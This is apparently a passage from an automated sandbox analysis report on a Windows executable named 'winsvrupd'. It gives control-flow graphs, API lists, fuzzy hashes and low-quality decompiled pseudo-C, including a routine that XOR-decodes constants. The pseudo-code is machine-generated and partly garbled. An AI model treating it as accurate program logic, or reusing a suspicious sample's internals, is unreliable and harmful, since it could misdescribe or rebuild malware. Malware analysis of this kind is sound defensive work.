7ff642ce3800 memset call 7ff642ce3800 173->185 179->180 188 7ff642ce230f-7ff642ce2313 180->188 189 7ff642ce228a-7ff642ce230a call 7ff642ce5600 180->189 199 7ff642ce2610-7ff642ce261e 185->199 200 7ff642ce25d8-7ff642ce25df 185->200 192 7ff642ce2315-7ff642ce2321 188->192 193 7ff642ce234b-7ff642ce2389 call 7ff642ce5ec0 * 2 188->193 189->188 195 7ff642ce2328-7ff642ce2345 192->195 207 7ff642ce238b-7ff642ce23c1 call 7ff642ce5600 193->207 208 7ff642ce23c6-7ff642ce23cb 193->208 195->195 198 7ff642ce2347 195->198 198->193 202 7ff642ce25e6-7ff642ce25fe call 7ff642ce1560 199->202 200->202 206 7ff642ce2603 202->206 211 7ff642ce2547-7ff642ce255c 206->211 207->208 209 7ff642ce23f5-7ff642ce2420 memcpy call 7ff642ce5ec0 * 2 208->209 210 7ff642ce23cd-7ff642ce23f1 208->210 216 7ff642ce2425-7ff642ce242b 209->216 210->209 217 7ff642ce245a-7ff642ce2463 216->217 218 7ff642ce242d-7ff642ce2455 memcpy call 7ff642ce5600 216->218 220 7ff642ce24a2-7ff642ce24ee call 7ff642ce1730 * 2 call 7ff642ce5ec0 * 2 217->220 221 7ff642ce2465-7ff642ce2471 217->221 218->217 232 7ff642ce2513-7ff642ce2517 220->232 233 7ff642ce24f0-7ff642ce250e call 7ff642ce5600 220->233 222 7ff642ce2478-7ff642ce2497 221->222 222->222 224 7ff642ce2499 222->224 224->220 235 7ff642ce2531-7ff642ce2540 _wcsicmp 232->235 236 7ff642ce2519-7ff642ce252d 232->236 233->232 235->185 237 7ff642ce2542-7ff642ce2545 235->237 236->235 237->185 237->211
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memset$memcpy$_wgetenv$_wcsicmp$FileModuleName
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1287669956-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 07a7925cf418b64cc9d8b086aad8f2bc4541c60dc81ae13b6803b25ebae1e446
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c09e11b2a683ee055269732388a1d089d6bf4c99f4f5a5e5f597c7311d5cfa8f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 07a7925cf418b64cc9d8b086aad8f2bc4541c60dc81ae13b6803b25ebae1e446
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 74927062A0CBC284EBA1FB25E8463A967B5FB45BC8F504035DA8D87756EFBED140C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE2910 Relevance: 26.6, APIs: 12, Strings: 3, Instructions: 387COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 238 7ff642ce2910-7ff642ce29bf call 7ff642ce5d30 call 7ff642ce4899 call 7ff642ce47fd 245 7ff642ce29c5-7ff642ce29d1 238->245 246 7ff642ce2f70-7ff642ce2f88 call 7ff642ce4899 238->246 247 7ff642ce29d9-7ff642ce2a52 call 7ff642ce4848 memset call 7ff642ce5ec0 245->247 250 7ff642ce2f8d-7ff642ce2f8f 246->250 258 7ff642ce2ef8-7ff642ce2f2f call 7ff642ce5ec0 call 7ff642ce5600 247->258 259 7ff642ce2a58-7ff642ce2a64 call 7ff642ce5ec0 247->259 250->245 252 7ff642ce2f95-7ff642ce2fc0 250->252 254 7ff642ce2fe1-7ff642ce2ff2 252->254 256 7ff642ce2ff4-7ff642ce301e call 7ff642ce5ec0 * 2 254->256 257 7ff642ce2fc8-7ff642ce2fcc 254->257 275 7ff642ce3054-7ff642ce3058 256->275 276 7ff642ce3020-7ff642ce304f call 7ff642ce5600 256->276 260 7ff642ce2fd2-7ff642ce2fdb 257->260 261 7ff642ce3140-7ff642ce3150 257->261 283 7ff642ce2f38-7ff642ce2f58 258->283 269 7ff642ce2a7d-7ff642ce2a99 call 7ff642ce3800 wcslen 259->269 270 7ff642ce2a66-7ff642ce2a77 259->270 260->254 260->261 261->245 282 7ff642ce2a9f-7ff642ce2ae8 memset wcscpy wcslen 269->282 269->283 270->269 277 7ff642ce307e-7ff642ce308e wcsncmp 275->277 278 7ff642ce305a-7ff642ce3079 275->278 276->275 277->257 281 7ff642ce3094-7ff642ce30b7 277->281 278->277 281->245 286 7ff642ce30bd-7ff642ce3122 call 7ff642ce4830 281->286 284 7ff642ce2aee-7ff642ce2b1e memset wcscpy wcslen 282->284 285 7ff642ce2f5e-7ff642ce2f66 282->285 283->284 283->285 287 7ff642ce2b22-7ff642ce2ef4 wcslen * 3 call 7ff642ce47fd * 2 call 7ff642ce483c call 7ff642ce4818 * 2 284->287 285->287 286->247 292 7ff642ce3128-7ff642ce3134 286->292 292->247
                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: wcslen$memset$wcscpy$wcsncmp
                                                                                                                                                                                                                                                                                                                                                      • String ID: 0$X$`
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4021896446-2527496196
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: e86d8bf4edc77a006aca849ee274c7209a04c760a5b6ade046f51c17119e2ddd
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 4fb55037029f1fd650ba92a4b5af59e884abe1bed0c04e289905d1e7aff0a13e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e86d8bf4edc77a006aca849ee274c7209a04c760a5b6ade046f51c17119e2ddd
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D612802261CBC185E360EF25E4013AAB3A0FB85798F108225EE9C977D9EF7DD184CB40
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE1180 Relevance: 10.7, APIs: 7, Instructions: 206sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 349 7ff642ce1180-7ff642ce11ae 350 7ff642ce11b4-7ff642ce11d1 349->350 351 7ff642ce1480-7ff642ce1483 GetStartupInfoW 349->351 352 7ff642ce11e4-7ff642ce11ef 350->352 355 7ff642ce1490-7ff642ce14aa call 7ff642ceb068 351->355 353 7ff642ce11d3-7ff642ce11d6 352->353 354 7ff642ce11f1-7ff642ce11ff 352->354 357 7ff642ce1420-7ff642ce1431 353->357 358 7ff642ce11dc-7ff642ce11e1 Sleep 353->358 359 7ff642ce1205-7ff642ce1209 354->359 360 7ff642ce1437-7ff642ce1446 call 7ff642ceb058 354->360 357->359 357->360 358->352 362 7ff642ce120f-7ff642ce121e 359->362 363 7ff642ce14b0-7ff642ce14c9 call 7ff642ceb078 359->363 366 7ff642ce1224-7ff642ce1226 360->366 367 7ff642ce144c-7ff642ce1467 _initterm 360->367 362->366 362->367 374 7ff642ce14ce-7ff642ce14d0 call 7ff642ceb0a8 363->374 370 7ff642ce146d-7ff642ce1472 366->370 371 7ff642ce122c-7ff642ce1239 366->371 367->370 367->371 370->371 372 7ff642ce123b-7ff642ce1243 371->372 373 7ff642ce1247-7ff642ce128f call 7ff642ce4dd0 SetUnhandledExceptionFilter call 7ff642ceac50 call 7ff642ce4b50 call 7ff642ceac10 371->373 372->373 385 7ff642ce1291 373->385 386 7ff642ce12a6-7ff642ce12ad 373->386 379 7ff642ce14d5-7ff642ce14d6 374->379 387 7ff642ce12e7-7ff642ce12ed 385->387 388 7ff642ce1293-7ff642ce1296 386->388 389 7ff642ce12af-7ff642ce12be 386->389 390 7ff642ce12f3-7ff642ce1318 malloc 387->390 391 7ff642ce1390-7ff642ce139a 387->391 392 7ff642ce12c0-7ff642ce12c7 388->392 393 7ff642ce1298-7ff642ce129b 388->393 394 7ff642ce12a2 389->394 395 7ff642ce13b5-7ff642ce13e9 call 7ff642ce4960 call 7ff642ce1880 390->395 396 7ff642ce131e-7ff642ce132c 390->396 398 7ff642ce13a1-7ff642ce13a7 391->398 399 7ff642ce139c 391->399 400 7ff642ce12e0 392->400 401 7ff642ce12c9 392->401 393->392 397 7ff642ce129d 393->397 394->386 413 7ff642ce13ee-7ff642ce13fc 395->413 404 7ff642ce1383-7ff642ce1388 396->404 405 7ff642ce132e 396->405 397->394 398->390 399->398 400->387 402 7ff642ce12d0-7ff642ce12de 401->402 402->400 402->402 408 7ff642ce1351-7ff642ce1374 malloc memcpy 404->408 407 7ff642ce1330-7ff642ce1336 405->407 410 7ff642ce1340-7ff642ce134b 407->410 411 7ff642ce13b0 408->411 412 7ff642ce1376-7ff642ce1381 408->412 410->410 414 7ff642ce134d 410->414 411->395 412->404 412->407 413->374 415 7ff642ce1402-7ff642ce140a 413->415 414->408 415->355 416 7ff642ce1410-7ff642ce141f 415->416
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 31%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE1180(void* __edi, void* __esp, void* __r8) {
				signed short _v116;
				signed char _v120;
				void* _v168;
				_Unknown_base(*)()* _t34;
				void* _t36;
				intOrPtr _t44;
				void* _t55;
				signed int _t59;
				intOrPtr* _t95;
				long long _t96;
				intOrPtr* _t97;
				intOrPtr _t98;
				signed short* _t99;
				signed short* _t100;
				long long _t101;
				intOrPtr* _t105;
				intOrPtr _t107;
				long long* _t115;
				intOrPtr* _t120;
				signed short* _t121;
				signed long long _t122;
				void* _t124;
				signed short* _t125;
				signed long long _t132;

				_t122 =  *0x42ed9b30; // 0x7ff642edc090
				r9d =  *_t122;
				memset(__edi, 0, 0xd << 0);
				if (r9d != 0) goto 0x42ce1480;
				_t107 =  *0x42ed9b90; // 0x7ff642edcc28
				goto 0x42ce11e4;
				if ( *((intOrPtr*)( *[gs:0x30] + 8)) ==  *[gs:0x30]) goto 0x42ce1420;
				Sleep(??);
				asm("lock dec eax");
				if (_t124 != 0) goto 0x42ce11d3;
				_t120 =  *0x42ed9ba0; // 0x7ff642edcc20
				if ( *_t120 == 1) goto 0x42ce1437;
				if ( *_t120 == 0) goto 0x42ce14b0;
				 *0x42edc008 = 1;
				if ( *_t120 == 1) goto 0x42ce144c;
				if (0 == 0) goto 0x42ce146d;
				_t95 =  *0x42ed9ad0; // 0x7ff642ed9340
				_t96 =  *_t95;
				if (_t96 == 0) goto 0x42ce1247;
				r8d = 0;
				E00007FF67FF642CE4DD0( *_t96());
				_t34 = SetUnhandledExceptionFilter(??);
				_t115 =  *0x42ed9b80; // 0x7ff642edc0d0
				 *_t115 = _t96;
				_t36 = E00007FF67FF642CE4B50(E00007FF67FF642CEAC50(_t34, 0x7ff642ce1000));
				_t97 =  *0x42ed9ae0; // 0x7ff642ce0000
				 *0x42edcc18 = _t97;
				E00007FF67FF642CEAC10(_t36);
				_t98 =  *_t97;
				if (_t98 != 0) goto 0x42ce12a6;
				goto 0x42ce12e7;
				if (2 == 0) goto 0x42ce12c0;
				if (2 == 0) goto 0x42ce12c0;
				_t99 = _t98 + 2;
				_t59 =  *_t99 & 0x0000ffff;
				if (_t59 - 0x20 <= 0) goto 0x42ce1293;
				r8d = 1;
				r8d = r8d ^ 0x00000001;
				_t55 =  ==  ? r8d : 1;
				goto 0x42ce12a2;
				if (_t59 - 1 - 0x1f > 0) goto 0x42ce12e0;
				_t100 =  &(_t99[1]);
				_t5 = _t107 - 1; // 0x7ff642edcc27
				if (_t5 - 0x1f <= 0) goto 0x42ce12d0;
				 *0x42edcc10 = _t100;
				r8d =  *_t122;
				if (r8d != 0) goto 0x42ce1390;
				r13d = _t107 + 1;
				_t132 = r13d << 3;
				malloc(??);
				_t121 =  *0x42edc020;
				_t125 = _t100;
				if ( *0x42edc028 <= 0) goto 0x42ce13b5;
				r12d = _t107 - 1;
				_t101 =  *((intOrPtr*)(_t121 + _t122 * 8));
				if ( *_t101 == 0) goto 0x42ce1383;
				r8d = 1;
				asm("o16 nop [cs:eax+eax]");
				if ( *((short*)(_t101 + (__r8 + 1) * 2 - 2)) != 0) goto 0x42ce1340;
				malloc(??);
				 *((long long*)(_t125 + _t122 * 8)) = _t101;
				memcpy(??, ??, ??);
				_t18 = _t122 + 1; // 0x2
				if (Sleep == _t122) goto 0x42ce13b0;
				if ( *((short*)( *((intOrPtr*)(_t121 + _t18 * 8)))) != 0) goto 0x42ce1330;
				goto 0x42ce1351;
				asm("o16 nop [eax+eax]");
				if ((_v120 & 0x00000001) == 0) goto 0x42ce13a1;
				 *0x42cec000 = _v116 & 0x0000ffff;
				goto 0x42ce12f3;
				_t26 = _t132 - 8; // -8
				 *((long long*)(_t125 + _t26)) = 0;
				 *0x42edc020 = _t125;
				E00007FF67FF642CE4960();
				_t105 =  *0x42ed9af0; // 0x7ff642edd32c
				 *((long long*)( *_t105)) =  *0x42edc018;
				_t44 = E00007FF67FF642CE1880( *_t105); // executed
				 *0x42edc010 = _t44;
				if ( *0x42edc00c == 0) goto 0x42ce14ce;
				if ( *0x42edc008 == 0) goto 0x42ce1490;
				return _t44;
			}



























                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce118f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce119d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11ae
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11bd
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11d1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11d6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11e1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11e7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11ef
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11f1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce11ff
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1209
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce120f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce121e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1226
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce122c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1233
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1239
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce123b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1247
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1253
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1259
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1267
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce126f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1274
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce127b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1282
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1289
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce128f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1291
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1296
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce129b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12a2
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12a6
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12ad
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12af
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12b2
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12ba
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12be
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12c7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12d0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12d7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12de
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12e0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12e7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12ed
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce12f9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1300
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1307
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce130e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1315
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1318
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce131e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1324
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce132c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1330
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1336
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce134b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1354
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce135c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1368
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce136d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1374
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1381
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1388
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce138a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce139a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13a1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13a7
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13b0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13b5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13bc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13c3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13c8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13df
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13e9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13f4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce13fc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce140a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce141f

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: malloc$ExceptionFilterInfoSleepStartupUnhandledmemcpy
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 772431862-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: bc5eb1aca5cc500b87d251f3354741bec5781e29ce7dae69edb688d6d3622ea6
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 69651779f5556b923bf9725b7b88ac3c21a84883caa3888c756f312b94ff5b31
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bc5eb1aca5cc500b87d251f3354741bec5781e29ce7dae69edb688d6d3622ea6
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E4914A36E1C60785EAA1FB16E85277923B1BF84788FA44139CA0DC7791DFEEA850C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE3220 Relevance: 10.3, APIs: 8, Instructions: 301COMMONCrypto
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 424 7ff642ce3220-7ff642ce3289 memset call 7ff642ce5ec0 * 2 429 7ff642ce32b5-7ff642ce32b9 424->429 430 7ff642ce328b-7ff642ce32b0 call 7ff642ce5600 424->430 432 7ff642ce32d3-7ff642ce331c call 7ff642ce3800 call 7ff642ce3a50 memcpy call 7ff642ce5ec0 429->432 433 7ff642ce32bb-7ff642ce32cc 429->433 430->429 440 7ff642ce3322-7ff642ce3327 call 7ff642ce5ec0 432->440 441 7ff642ce33c0-7ff642ce33f7 call 7ff642ce5ec0 memcpy call 7ff642ce5600 432->441 433->432 446 7ff642ce332a-7ff642ce3331 440->446 441->446 448 7ff642ce3333-7ff642ce333f 446->448 449 7ff642ce3365-7ff642ce3395 call 7ff642ce3160 call 7ff642ce3cb0 call 7ff642ce3f70 446->449 451 7ff642ce3340-7ff642ce335c 448->451 458 7ff642ce339a-7ff642ce339f 449->458 451->451 453 7ff642ce335e 451->453 453->449 459 7ff642ce33a1-7ff642ce33a9 458->459 460 7ff642ce33ab-7ff642ce33ba 458->460 459->460 461 7ff642ce33fc-7ff642ce343e call 7ff642ce5ec0 * 2 459->461 466 7ff642ce3440-7ff642ce3466 call 7ff642ce5600 461->466 467 7ff642ce346b-7ff642ce346f 461->467 466->467 469 7ff642ce348f-7ff642ce349d wcsstr 467->469 470 7ff642ce3471-7ff642ce3489 467->470 471 7ff642ce34b4-7ff642ce34f6 call 7ff642ce5ec0 * 2 469->471 472 7ff642ce349f-7ff642ce34b3 469->472 470->469 477 7ff642ce3523-7ff642ce3527 471->477 478 7ff642ce34f8-7ff642ce351e call 7ff642ce5600 471->478 480 7ff642ce3547-7ff642ce3555 wcsstr 477->480 481 7ff642ce3529-7ff642ce3541 477->481 478->477 480->472 482 7ff642ce355b-7ff642ce357d call 7ff642ce5ec0 * 2 480->482 481->480 487 7ff642ce357f-7ff642ce35a1 call 7ff642ce5600 482->487 488 7ff642ce35a6-7ff642ce35aa 482->488 487->488 490 7ff642ce35c4-7ff642ce35d2 wcsstr 488->490 491 7ff642ce35ac-7ff642ce35c0 488->491 490->472 492 7ff642ce35d8-7ff642ce35fa call 7ff642ce5ec0 * 2 490->492 491->490 497 7ff642ce3623-7ff642ce3627 492->497 498 7ff642ce35fc-7ff642ce361e call 7ff642ce5600 492->498 500 7ff642ce3641-7ff642ce364f wcsstr 497->500 501 7ff642ce3629-7ff642ce363d 497->501 498->497 500->472 502 7ff642ce3655-7ff642ce36b2 call 7ff642ce5ec0 * 2 500->502 501->500 507 7ff642ce36b4-7ff642ce36d4 call 7ff642ce5600 502->507 508 7ff642ce36d9-7ff642ce36dd 502->508 507->508 510 7ff642ce36df-7ff642ce36e9 508->510 511 7ff642ce370e-7ff642ce371f wcsstr 508->511 512 7ff642ce36eb-7ff642ce3708 510->512 511->460 512->512 513 7ff642ce370a 512->513 513->511
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 32%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE3220(void* __ecx, void* __rbx, void* __rcx, void* __rdx, void* __rdi, void* __rsi, void* __rbp, void* __r8, void* __r12, void* __r13) {
				void* _v584;
				signed int _v720;
				signed int* _v728;
				signed int _t15;
				void* _t16;
				void* _t21;
				void* _t27;
				void* _t28;
				signed int* _t34;
				signed int* _t38;
				signed int* _t69;

				r8d = 0x208;
				memset(??, ??, ??);
				_t34 =  *0x42ed92b0; // 0x81cea1b9d55d73a2
				_v728 = _t34;
				_t15 =  *0x42ed92b8; // 0xc7bfbfe6
				_v720 = _t15;
				_t16 = E00007FF67FF642CE5EC0(_t15, 0x42ed7440);
				_t69 = _t34;
				E00007FF67FF642CE5EC0(_t16, 0x42ed7420);
				_t38 = _t34;
				if ( *_t69 != 0) goto 0x42ce32b5;
				_t34[3] = 1;
				r8d = 0;
				 *_t38 = _v728;
				_t38[2] = _v720;
				 *_t69 = 1;
				0x42ce5600();
				if (_t38[3] == 0) goto 0x42ce32d3;
				_t38[3] = 0;
				 *_t38 =  *_t38 ^ 0xd57373c5;
				_t38[2] = _t38[2] ^ 0xc7bfbf81;
				0x42ce3800();
				E00007FF67FF642CE3A50(_v720, _t27, _t28, 0xd57373c5, __r8);
				r8d = 0x8c;
				_t21 = E00007FF67FF642CE5EC0(memcpy(??, ??, ??), 0x42ed7480);
				if ( *0xd57373c5 == 0) goto 0x42ce33c0;
				E00007FF67FF642CE5EC0(_t21, 0x42ed7460);
				if ( *0x81A1A1D5D5737451 == 0) goto 0x42ce3365;
			}














                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3245
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce324b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3250
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce325e
